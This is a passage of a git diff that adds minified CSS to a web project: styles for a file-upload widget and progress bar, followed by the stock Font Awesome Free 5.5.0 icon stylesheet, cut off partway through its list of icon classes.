.cif-all-type{font-size:13px;line-height:16px}.cif-file-container.cif-container-all-type .cif-close{top:50%;margin-top:-7px;left:5px;position:absolute}.cif-file-container.cif-container-all-type .cif-file-size{opacity:.8}.cif-file-container.cif-container-image-type .cif-file-row{border-bottom:1px solid #f2f2f2;padding:20px 0}.cif-file-container.cif-container-image-type .cif-parent{padding-top:30px}.cif-file-container.cif-container-image-type .cif-close{top:5px}.cif-img{max-height:300px;max-width:380px}#cif-msg-wr{font-size:13px;position:fixed;z-index:10000;top:100px;right:20px;max-width:50%;padding:15px;background:#fff;border:1px solid #dfdfdf;box-shadow:3px 3px 6px rgba(0,0,0,.5)}#cif-msg-wr .cif-msg-close{opacity:.5;position:absolute;right:0;top:0;width:16px;height:16px;text-indent:-100000px;background:url(cif-icons-20xy.png) 0 -75px no-repeat}#cif-msg-wr .cif-msg-close:hover{opacity:1}.cif-msg-icon{padding:0 10px;font-size:8px}.cif-msg-icon-error{background:url(cif-icons-20xy.png) 0 -120px no-repeat}.cif-msg-icon-ok{background:url(cif-icons-20xy.png) 0 -100px no-repeat}.cf-progressbar-wr{position:fixed;top:0;left:0;background:rgba(0,0,0,.7);width:100%;height:100%;z-index:50000}.cf-progressbar{height:12px;position:absolute;top:50%;margin-top:-6px;left:50%;margin-left:-125px;width:250px;background:#dadada;padding:2px;box-sizing:border-box;border:1px solid #000}.cf-progressbar>span{display:block;height:100%;background:rgb(43,194,83);background-image:url(bg-progress-bar.png);position:relative;transition:width 200ms;overflow:hidden}.jcrop-holder .preview-pane{display:block;position:absolute;z-index:2000;top:00px;left:102%;padding:6px;border:1px rgba(0,0,0,.4) solid;background-color:white;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:1px 1px 5px 2px rgba(0, 0, 0, 0.2);-moz-box-shadow:1px 1px 5px 2px rgba(0, 0, 0, 0.2);box-shadow:1px 1px 5px 2px rgba(0, 0, 0, 0.2)}.preview-pane .preview-container{overflow:hidden} \ No newline at end of file diff --git a/css/fa_all.css b/css/fa_all.css new file mode 100644 index 0000000..a51a10c --- /dev/null +++ b/css/fa_all.css @@ -0,0 +1,5 @@ +/*! + * Font Awesome Free 5.5.0 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +.fa,.fab,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{animation:fa-spin 2s infinite linear}.fa-pulse{animation:fa-spin 1s infinite steps(8)}@keyframes fa-spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";transform:scaleX(-1)}.fa-flip-vertical{transform:scaleY(-1)}.fa-flip-horizontal.fa-flip-vertical,.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"}.fa-flip-horizontal.fa-flip-vertical{transform:scale(-1)}:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-500px:before{content:"\f26e"}.fa-accessible-icon:before{content:"\f368"}.fa-accusoft:before{content:"\f369"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-adversal:before{content:"\f36a"}.fa-affiliatetheme:before{content:"\f36b"}.fa-air-freshener:before{content:"\f5d0"}.fa-algolia:before{content:"\f36c"}.fa-align-center:before{content:"\f037"}.fa-align-justify:before{content:"\f039"}.fa-align-left:before{content:"\f036"}.fa-align-right:before{content:"\f038"}.fa-alipay:before{content:"\f642"}.fa-allergies:before{content:"\f461"}.fa-amazon:before{content:"\f270"}.fa-amazon-pay:before{content:"\f42c"}.fa-ambulance:before{content:"\f0f9"}.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-amilia:before{content:"\f36d"}.fa-anchor:before{content:"\f13d"}.fa-android:before{content:"\f17b"}.fa-angellist:before{content:"\f209"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-down:before{content:"\f107"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angry:before{content:"\f556"}.fa-angrycreative:before{content:"\f36e"}.fa-angular:before{content:"\f420"}.fa-ankh:before{content:"\f644"}.fa-app-store:before{content:"\f36f"}.fa-app-store-ios:before{content:"\f370"}.fa-apper:before{content:"\f371"}.fa-apple:before{content:"\f179"}.fa-apple-alt:before{content:"\f5d1"}.fa-apple-pay:before{content:"\f415"}.fa-archive:before{content:"\f187"}.fa-archway:before{content:"\f557"}.fa-arrow-alt-circle-down:before{content:"\f358"}.fa-arrow-alt-circle-left:before{content:"\f359"}.fa-arrow-alt-circle-right:before{content:"\f35a"}.fa-arrow-alt-circle-up:before{content:"\f35b"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-down:before{content:"\f063"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrows-alt:before{content:"\f0b2"}.fa-arrows-alt-h:before{content:"\f337"}.fa-arrows-alt-v:before{content:"\f338"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asterisk:before{content:"\f069"}.fa-asymmetrik:before{content:"\f372"}.fa-at:before{content:"\f1fa"}.fa-atlas:before{content:"\f558"}.fa-atom:before{content:"\f5d2"}.fa-audible:before{content:"\f373"}.fa-audio-description:before{content:"\f29e"}.fa-autoprefixer:before{content:"\f41c"}.fa-avianex:before{content:"\f374"}.fa-aviato:before{content:"\f421"}.fa-award:before{content:"\f559"}.fa-aws:before{content:"\f375"}.fa-backspace:before{content:"\f55a"}.fa-backward:before{content:"\f04a"}.fa-balance-scale:before{content:"\f24e"}.fa-ban:before{content:"\f05e"}.fa-band-aid:before{content:"\f462"}.fa-bandcamp:before{content:"\f2d5"}.fa-barcode:before{content:"\f02a"}.fa-bars:before{content:"\f0c9"}.fa-baseball-ball:before{content:"\f433"}.fa-basketball-ball:before{content:"\f434"}.fa-bath:before{content:"\f2cd"}.fa-battery-empty:before{content:"\f244"}.fa-battery-full:before{content:"\f240"}.fa-battery-half:before{content:"\f242"}.fa-battery-quarter:before{content:"\f243"}.fa-battery-three-quarters:before{content:"\f241"}.fa-bed:before{content:"\f236"}.fa-beer:before{content:"\f0fc"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-bell:before{content:"\f0f3"}.fa-bell-slash:before{content:"\f1f6"}.fa-bezier-curve:before{content:"\f55b"}.fa-bible:before{content:"\f647"}.fa-bicycle:before{content:"\f206"}.fa-bimobject:before{content:"\f378"}.fa-binoculars:before{content:"\f1e5"}.fa-birthday-cake:before{content:"\f1fd"}.fa-bitbucket:before{content:"\f171"}.fa-bitcoin:before{content:"\f379"}.fa-bity:before{content:"\f37a"}.fa-black-tie:before{content:"\f27e"}.fa-blackberry:before{content:"\f37b"}.fa-blender:before{content:"\f517"}.fa-blender-phone:before{content:"\f6b6"}.fa-blind:before{content:"\f29d"}.fa-blogger:before{content:"\f37c"}.fa-blogger-b:before{content:"\f37d"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-bold:before{content:"\f032"}.fa-bolt:before{content:"\f0e7"}.fa-bomb:before{content:"\f1e2"}.fa-bone:before{content:"\f5d7"}.fa-bong:before{content:"\f55c"}.fa-book:before{content:"\f02d"}.fa-book-dead:before{content:"\f6b7"}.fa-book-open:before{content:"\f518"}.fa-book-reader:before{content:"\f5da"}.fa-bookmark:before{content:"\f02e"}.fa-bowling-ball:before{content:"\f436"}.fa-box:before{content:"\f466"}.fa-box-open:before{content:"\f49e"}.fa-boxes:before{content:"\f468"}.fa-braille:before{content:"\f2a1"}.fa-brain:before{content:"\f5dc"}.fa-briefcase:before{content:"\f0b1"}.fa-briefcase-medical:before{content:"\f469"}.fa-broadcast-tower:before{content:"\f519"}.fa-broom:before{content:"\f51a"}.fa-brush:before{content:"\f55d"}.fa-btc:before{content:"\f15a"}.fa-bug:before{content:"\f188"}.fa-building:before{content:"\f1ad"}.fa-bullhorn:before{content:"\f0a1"}.fa-bullseye:before{content:"\f140"}.fa-burn:before{content:"\f46a"}.fa-buromobelexperte:before{content:"\f37f"}.fa-bus:before{content:"\f207"}.fa-bus-alt:before{content:"\f55e"}.fa-business-time:before{content:"\f64a"}.fa-buysellads:before{content:"\f20d"}.fa-calculator:before{content:"\f1ec"}.fa-calendar:before{content:"\f133"}.fa-calendar-alt:before{content:"\f073"}.fa-calendar-check:before{content:"\f274"}.fa-calendar-minus:before{content:"\f272"}.fa-calendar-plus:before{content:"\f271"}.fa-calendar-times:before{content:"\f273"}.fa-camera:before{content:"\f030"}.fa-camera-retro:before{content:"\f083"}.fa-campground:before{content:"\f6bb"}.fa-cannabis:before{content:"\f55f"}.fa-capsules:before{content:"\f46b"}.fa-car:before{content:"\f1b9"}.fa-car-alt:before{content:"\f5de"}.fa-car-battery:before{content:"\f5df"}.fa-car-crash:before{content:"\f5e1"}.fa-car-side:before{content:"\f5e4"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-caret-square-down:before{content:"\f150"}.fa-caret-square-left:before{content:"\f191"}.fa-caret-square-right:before{content:"\f152"}.fa-caret-square-up:before{content:"\f151"}.fa-caret-up:before{content:"\f0d8"}.fa-cart-arrow-down:before{content:"\f218"}.fa-cart-plus:before{content:"\f217"}.fa-cat:before{content:"\f6be"}.fa-cc-amazon-pay:before{content:"\f42d"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-apple-pay:before{content:"\f416"}.fa-cc-diners-club:before{content:"\f24c"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-cc-visa:before{content:"\f1f0"}.fa-centercode:before{content:"\f380"}.fa-certificate:before{content:"\f0a3"}.fa-chair:before{content:"\f6c0"}.fa-chalkboard:before{content:"\f51b"}.fa-chalkboard-teacher:before{content:"\f51c"}.fa-charging-station:before{content:"\f5e7"}.fa-chart-area:before{content:"\f1fe"}.fa-chart-bar:before{content:"\f080"}.fa-chart-line:before{content:"\f201"}.fa-chart-pie:before{content:"\f200"}.fa-check:before{content:"\f00c"}.fa-check-circle:before{content:"\f058"}.fa-check-double:before{content:"\f560"}.fa-check-square:before{content:"\f14a"}.fa-chess:before{content:"\f439"}.fa-chess-bishop:before{content:"\f43a"}.fa-chess-board:before{content:"\f43c"}.fa-chess-king:before{content:"\f43f"}.fa-chess-knight:before{content:"\f441"}.fa-chess-pawn:before{content:"\f443"}.fa-chess-queen:before{content:"\f445"}.fa-chess-rook:before{content:"\f447"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-down:before{content:"\f078"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-chevron-up:before{content:"\f077"}.fa-child:before{content:"\f1ae"}.fa-chrome:before{content:"\f268"}.fa-church:before{content:"\f51d"}.fa-circle:before{content:"\f111"}.fa-circle-notch:before{content:"\f1ce"}.fa-city:before{content:"\f64f"}.fa-clipboard:before{content:"\f328"}.fa-clipboard-check:before{content:"\f46c"}.fa-clipboard-list:before{content:"\f46d"}.fa-clock:before{content:"\f017"}.fa-clone:before{content:"\f24d"}.fa-closed-captioning:before{content:"\f20a"}.fa-cloud:before{content:"\f0c2"}.fa-cloud-download-alt:before{content:"\f381"}.fa-cloud-meatball:before{content:"\f73b"}.fa-cloud-moon:before{content:"\f6c3"}.fa-cloud-moon-rain:before{content:"\f73c"}.fa-cloud-rain:before{content:"\f73d"}.fa-cloud-showers-heavy:before{content:"\f740"}.fa-cloud-sun:before{content:"\f6c4"}.fa-cloud-sun-rain:before{content:"\f743"}.fa-cloud-upload-alt:before{content:"\f382"}.fa-cloudscale:before{content:"\f383"}.fa-cloudsmith:before{content:"\f384"}.fa-cloudversify:before{content:"\f385"}.fa-cocktail:before{content:"\f561"}.fa-code:before{content:"\f121"}.fa-code-branch:before{content:"\f126"}.fa-codepen:before{content:"\f1cb"}.fa-codiepie:before{content:"\f284"}.fa-coffee:before{content:"\f0f4"}.fa-cog:before{content:"\f013"}.fa-cogs:before{content:"\f085"}.fa-coins:before{content:"\f51e"}.fa-columns:before{content:"\f0db"}.fa-comment:before{content:"\f075"}.fa-comment-alt:before{content:"\f27a"}.fa-comment-dollar:before{content:"\f651"}.fa-comment-dots:before{content:"\f4ad"}.fa-comment-slash:before{content:"\f4b3"}.fa-comments:before{content:"\f086"}.fa-comments-dollar:before{content:"\f653"}.fa-compact-disc:before{content:"\f51f"}.fa-compass:before{content:"\f14e"}.fa-compress:before{content:"\f066"}.fa-concierge-bell:before{content:"\f562"}.fa-connectdevelop:before{content:"\f20e"}.fa-contao:before{content:"\f26d"}.fa-cookie:before{content:"\f563"}.fa-cookie-bite:before{content:"\f564"}.fa-copy:before{content:"\f0c5"}.fa-copyright:before{content:"\f1f9"}.fa-couch:before{content:"\f4b8"}.fa-cpanel:before{content:"\f388"}.fa-creative-commons:before{content:"\f25e"}.fa-creative-commons-by:before{content:"\f4e7"}.fa-creative-commons-nc:before{content:"\f4e8"}.fa-creative-commons-nc-eu:before{content:"\f4e9"}.fa-creative-commons-nc-jp:before{content:"\f4ea"}.fa-creative-commons-nd:before{content:"\f4eb"}.fa-creative-commons-pd:before{content:"\f4ec"}.fa-creative-commons-pd-alt:before{content:"\f4ed"}.fa-creative-commons-remix:before{content:"\f4ee"}.fa-creative-commons-sa:before{content:"\f4ef"}.fa-creative-commons-sampling:before{content:"\f4f0"}.fa-creative-commons-sampling-plus:before{content:"\f4f1"}.fa-creative-commons-share:before{content:"\f4f2"}.fa-creative-commons-zero:before{content:"\f4f3"}.fa-credit-card:before{content:"\f09d"}.fa-critical-role:before{content:"\f6c9"}.fa-crop:before{content:"\f125"}.fa-crop-alt:before{content:"\f565"}.fa-cross:before{content:"\f654"}.fa-crosshairs:before{content:"\f05b"}.fa-crow:before{content:"\f520"}.fa-crown:before{content:"\f521"}.fa-css3:before{content:"\f13c"}.fa-css3-alt:before{content:"\f38b"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-cut:before{content:"\f0c4"}.fa-cuttlefish:before{content:"\f38c"}.fa-d-and-d:before{content:"\f38d"}.fa-d-and-d-beyond:before{content:"\f6ca"}.fa-dashcube:before{content:"\f210"}.fa-database:before{content:"\f1c0"}.fa-deaf:before{content:"\f2a4"}.fa-delicious:before{content:"\f1a5"}.fa-democrat:before{content:"\f747"}.fa-deploydog:before{content:"\f38e"}.fa-deskpro:before{content:"\f38f"}.fa-desktop:before{content:"\f108"}.fa-dev:before{content:"\f6cc"}.fa-deviantart:before{content:"\f1bd"}.fa-dharmachakra:before{content:"\f655"}.fa-diagnoses:before{content:"\f470"}.fa-dice:before{content:"\f522"}.fa-dice-d20:before{content:"\f6cf"}.fa-dice-d6:before{content:"\f6d1"}.fa-dice-five:before{content:"\f523"}.fa-dice-four:before{content:"\f524"}.fa-dice-one:before{content:"\f525"}.fa-dice-six:before{content:"\f526"}.fa-dice-three:before{content:"\f527"}.fa-dice-two:before{content:"\f528"}.fa-digg:before{content:"\f1a6"}.fa-digital-ocean:before{content:"\f391"}.fa-digital-tachograph:before{content:"\f566"}.fa-directions:before{content:"\f5eb"}.fa-discord:before{content:"\f392"}.fa-discourse:before{content:"\f393"}.fa-divide:before{content:"\f529"}.fa-dizzy:before{content:"\f567"}.fa-dna:before{content:"\f471"}.fa-dochub:before{content:"\f394"}.fa-docker:before{content:"\f395"}.fa-dog:before{content:"\f6d3"}.fa-dollar-sign:before{content:"\f155"}.fa-dolly:before{content:"\f472"}.fa-dolly-flatbed:before{content:"\f474"}.fa-donate:before{content:"\f4b9"}.fa-door-closed:before{content:"\f52a"}.fa-door-open:before{content:"\f52b"}.fa-dot-circle:before{content:"\f192"}.fa-dove:before{content:"\f4ba"}.fa-download:before{content:"\f019"}.fa-draft2digital:before{content:"\f396"}.fa-drafting-compass:before{content:"\f568"}.fa-dragon:before{content:"\f6d5"}.fa-draw-polygon:before{content:"\f5ee"}.fa-dribbble:before{content:"\f17d"}.fa-dribbble-square:before{content:"\f397"}.fa-dropbox:before{content:"\f16b"}.fa-drum:before{content:"\f569"}.fa-drum-steelpan:before{content:"\f56a"}.fa-drumstick-bite:before{content:"\f6d7"}.fa-drupal:before{content:"\f1a9"}.fa-dumbbell:before{content:"\f44b"}.fa-dungeon:before{content:"\f6d9"}.fa-dyalog:before{content:"\f399"}.fa-earlybirds:before{content:"\f39a"}.fa-ebay:before{content:"\f4f4"}.fa-edge:before{content:"\f282"}.fa-edit:before{content:"\f044"}.fa-eject:before{content:"\f052"}.fa-elementor:before{content:"\f430"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-ello:before{content:"\f5f1"}.fa-ember:before{content:"\f423"}.fa-empire:before{content:"\f1d1"}.fa-envelope:before{content:"\f0e0"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-text:before{content:"\f658"}.fa-envelope-square:before{content:"\f199"}.fa-envira:before{content:"\f299"}.fa-equals:before{content:"\f52c"}.fa-eraser:before{content:"\f12d"}.fa-erlang:before{content:"\f39d"}.fa-ethereum:before{content:"\f42e"}.fa-etsy:before{content:"\f2d7"}.fa-euro-sign:before{content:"\f153"}.fa-exchange-alt:before{content:"\f362"}.fa-exclamation:before{content:"\f12a"}.fa-exclamation-circle:before{content:"\f06a"}.fa-exclamation-triangle:before{content:"\f071"}.fa-expand:before{content:"\f065"}.fa-expand-arrows-alt:before{content:"\f31e"}.fa-expeditedssl:before{content:"\f23e"}.fa-external-link-alt:before{content:"\f35d"}.fa-external-link-square-alt:before{content:"\f360"}.fa-eye:before{content:"\f06e"}.fa-eye-dropper:before{content:"\f1fb"}.fa-eye-slash:before{content:"\f070"}.fa-facebook:before{content:"\f09a"}.fa-facebook-f:before{content:"\f39e"}.fa-facebook-messenger:before{content:"\f39f"}.fa-facebook-square:before{content:"\f082"}.fa-fantasy-flight-games:before{content:"\f6dc"}.fa-fast-backward:before{content:"\f049"}.fa-fast-forward:before{content:"\f050"}.fa-fax:before{content:"\f1ac"}.fa-feather:before{content:"\f52d"}.fa-feather-alt:before{content:"\f56b"}.fa-female:before{content:"\f182"}.fa-fighter-jet:before{content:"\f0fb"}.fa-file:before{content:"\f15b"}.fa-file-alt:before{content:"\f15c"}.fa-file-archive:before{content:"\f1c6"}.fa-file-audio:before{content:"\f1c7"}.fa-file-code:before{content:"\f1c9"}.fa-file-contract:before{content:"\f56c"}.fa-file-csv:before{content:"\f6dd"}.fa-file-download:before{content:"\f56d"}.fa-file-excel:before{content:"\f1c3"}.fa-file-export:before{content:"\f56e"}.fa-file-image:before{content:"\f1c5"}.fa-file-import:before{content:"\f56f"}.fa-file-invoice:before{content:"\f570"}.fa-file-invoice-dollar:before{content:"\f571"}.fa-file-medical:before{content:"\f477"}.fa-file-medical-alt:before{content:"\f478"}.fa-file-pdf:before{content:"\f1c1"}.fa-file-powerpoint:before{content:"\f1c4"}.fa-file-prescription:before{content:"\f572"}.fa-file-signature:before{content:"\f573"}.fa-file-upload:before{content:"\f574"}.fa-file-video:before{content:"\f1c8"}.fa-file-word:before{content:"\f1c2"}.fa-fill:before{content:"\f575"}.fa-fill-drip:before{content:"\f576"}.fa-film:before{content:"\f008"}.fa-filter:before{content:"\f0b0"}.fa-fingerprint:before{content:"\f577"}.fa-fire:before{content:"\f06d"}.fa-fire-extinguisher:before{content:"\f134"}.fa-firefox:before{content:"\f269"}.fa-first-aid:before{content:"\f479"}.fa-first-order:before{content:"\f2b0"}.fa-first-order-alt:before{content:"\f50a"}.fa-firstdraft:before{content:"\f3a1"}.fa-fish:before{content:"\f578"}.fa-fist-raised:before{content:"\f6de"}.fa-flag:before{content:"\f024"}.fa-flag-checkered:before{content:"\f11e"}.fa-flag-usa:before{content:"\f74d"}.fa-flask:before{content:"\f0c3"}.fa-flickr:before{content:"\f16e"}.fa-flipboard:before{content:"\f44d"}.fa-flushed:before{content:"\f579"}.fa-fly:before{content:"\f417"}.fa-folder:before{content:"\f07b"}.fa-folder-minus:before{content:"\f65d"}.fa-folder-open:before{content:"\f07c"}.fa-folder-plus:before{content:"\f65e"}.fa-font:before{content:"\f031"}.fa-font-awesome:before{content:"\f2b4"}.fa-font-awesome-alt:before{content:"\f35c"}.fa-font-awesome-flag:before{content:"\f425"}.fa-font-awesome-logo-full:before{content:"\f4e6"}.fa-fonticons:before{content:"\f280"}.fa-fonticons-fi:before{content:"\f3a2"}.fa-football-ball:before{content:"\f44e"}.fa-fort-awesome:before{content:"\f286"}.fa-fort-awesome-alt:before{content:"\f3a3"}.fa-forumbee:before{content:"\f211"}.fa-forward:before{content:"\f04e"}.fa-foursquare:before{content:"\f180"}.fa-free-code-camp:before{content:"\f2c5"}.fa-freebsd:before{content:"\f3a4"}.fa-frog:before{content:"\f52e"}.fa-frown:before{content:"\f119"}.fa-frown-open:before{content:"\f57a"}.fa-fulcrum:before{content:"\f50b"}.fa-funnel-dollar:before{content:"\f662"}.fa-futbol:before{content:"\f1e3"}.fa-galactic-republic:before{content:"\f50c"}.fa-galactic-senate:before{content:"\f50d"}.fa-gamepad:before{content:"\f11b"}.fa-gas-pump:before{content:"\f52f"}.fa-gavel:before{content:"\f0e3"}.fa-gem:before{content:"\f3a5"}.fa-genderless:before{content:"\f22d"}.fa-get-pocket:before{content:"\f265"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-ghost:before{content:"\f6e2"}.fa-gift:before{content:"\f06b"}.fa-git:before{content:"\f1d3"}.fa-git-square:before{content:"\f1d2"}.fa-github:before{content:"\f09b"}.fa-github-alt:before{content:"\f113"}.fa-github-square:before{content:"\f092"}.fa-gitkraken:before{content:"\f3a6"}.fa-gitlab:before{content:"\f296"}.fa-gitter:before{content:"\f426"}.fa-glass-martini:before{content:"\f000"}.fa-glass-martini-alt:before{content:"\f57b"}.fa-glasses:before{content:"\f530"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-globe:before{content:"\f0ac"}.fa-globe-africa:before{content:"\f57c"}.fa-globe-americas:before{content:"\f57d"}.fa-globe-asia:before{content:"\f57e"}.fa-gofore:before{content:"\f3a7"}.fa-golf-ball:before{content:"\f450"}.fa-goodreads:before{content:"\f3a8"}.fa-goodreads-g:before{content:"\f3a9"}.fa-google:before{content:"\f1a0"}.fa-google-drive:before{content:"\f3aa"}.fa-google-play:before{content:"\f3ab"}.fa-google-plus:before{content:"\f2b3"}.fa-google-plus-g:before{content:"\f0d5"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-wallet:before{content:"\f1ee"}.fa-gopuram:before{content:"\f664"}.fa-graduation-cap:before{content:"\f19d"}.fa-gratipay:before{content:"\f184"}.fa-grav:before{content:"\f2d6"}.fa-greater-than:before{content:"\f531"}.fa-greater-than-equal:before{content:"\f532"}.fa-grimace:before{content:"\f57f"}.fa-grin:before{content:"\f580"}.fa-grin-alt:before{content:"\f581"}.fa-grin-beam:before{content:"\f582"}.fa-grin-beam-sweat:before{content:"\f583"}.fa-grin-hearts:before{content:"\f584"}.fa-grin-squint:before{content:"\f585"}.fa-grin-squint-tears:before{content:"\f586"}.fa-grin-stars:before{content:"\f587"}.fa-grin-tears:before{content:"\f588"}.fa-grin-tongue:before{content:"\f589"}.fa-grin-tongue-squint:before{content:"\f58a"}.fa-grin-tongue-wink:before{content:"\f58b"}.fa-grin-wink:before{content:"\f58c"}.fa-grip-horizontal:before{content:"\f58d"}.fa-grip-vertical:before{content:"\f58e"}.fa-gripfire:before{content:"\f3ac"}.fa-grunt:before{content:"\f3ad"}.fa-gulp:before{content:"\f3ae"}.fa-h-square:before{content:"\f0fd"}.fa-hacker-news:before{content:"\f1d4"}.fa-hacker-news-square:before{content:"\f3af"}.fa-hackerrank:before{content:"\f5f7"}.fa-hammer:before{content:"\f6e3"}.fa-hamsa:before{content:"\f665"}.fa-hand-holding:before{content:"\f4bd"}.fa-hand-holding-heart:before{content:"\f4be"}.fa-hand-holding-usd:before{content:"\f4c0"}.fa-hand-lizard:before{content:"\f258"}.fa-hand-paper:before{content:"\f256"}.fa-hand-peace:before{content:"\f25b"}.fa-hand-point-down:before{content:"\f0a7"}.fa-hand-point-left:before{content:"\f0a5"}.fa-hand-point-right:before{content:"\f0a4"}.fa-hand-point-up:before{content:"\f0a6"}.fa-hand-pointer:before{content:"\f25a"}.fa-hand-rock:before{content:"\f255"}.fa-hand-scissors:before{content:"\f257"}.fa-hand-spock:before{content:"\f259"}.fa-hands:before{content:"\f4c2"}.fa-hands-helping:before{content:"\f4c4"}.fa-handshake:before{content:"\f2b5"}.fa-hanukiah:before{content:"\f6e6"}.fa-hashtag:before{content:"\f292"}.fa-hat-wizard:before{content:"\f6e8"}.fa-haykal:before{content:"\f666"}.fa-hdd:before{content:"\f0a0"}.fa-heading:before{content:"\f1dc"}.fa-headphones:before{content:"\f025"}.fa-headphones-alt:before{content:"\f58f"}.fa-headset:before{content:"\f590"}.fa-heart:before{content:"\f004"}.fa-heartbeat:before{content:"\f21e"}.fa-helicopter:before{content:"\f533"}.fa-highlighter:before{content:"\f591"}.fa-hiking:before{content:"\f6ec"}.fa-hippo:before{content:"\f6ed"}.fa-hips:before{content:"\f452"}.fa-hire-a-helper:before{content:"\f3b0"}.fa-history:before{content:"\f1da"}.fa-hockey-puck:before{content:"\f453"}.fa-home:before{content:"\f015"}.fa-hooli:before{content:"\f427"}.fa-hornbill:before{content:"\f592"}.fa-horse:before{content:"\f6f0"}.fa-hospital:before{content:"\f0f8"}.fa-hospital-alt:before{content:"\f47d"}.fa-hospital-symbol:before{content:"\f47e"}.fa-hot-tub:before{content:"\f593"}.fa-hotel:before{content:"\f594"}.fa-hotjar:before{content:"\f3b1"}.fa-hourglass:before{content:"\f254"}.fa-hourglass-end:before{content:"\f253"}.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-start:before{content:"\f251"}.fa-house-damage:before{content:"\f6f1"}.fa-houzz:before{content:"\f27c"}.fa-hryvnia:before{content:"\f6f2"}.fa-html5:before{content:"\f13b"}.fa-hubspot:before{content:"\f3b2"}.fa-i-cursor:before{content:"\f246"}.fa-id-badge:before{content:"\f2c1"}.fa-id-card:before{content:"\f2c2"}.fa-id-card-alt:before{content:"\f47f"}.fa-image:before{content:"\f03e"}.fa-images:before{content:"\f302"}.fa-imdb:before{content:"\f2d8"}.fa-inbox:before{content:"\f01c"}.fa-indent:before{content:"\f03c"}.fa-industry:before{content:"\f275"}.fa-infinity:before{content:"\f534"}.fa-info:before{content:"\f129"}.fa-info-circle:before{content:"\f05a"}.fa-instagram:before{content:"\f16d"}.fa-internet-explorer:before{content:"\f26b"}.fa-ioxhost:before{content:"\f208"}.fa-italic:before{content:"\f033"}.fa-itunes:before{content:"\f3b4"}.fa-itunes-note:before{content:"\f3b5"}.fa-java:before{content:"\f4e4"}.fa-jedi:before{content:"\f669"}.fa-jedi-order:before{content:"\f50e"}.fa-jenk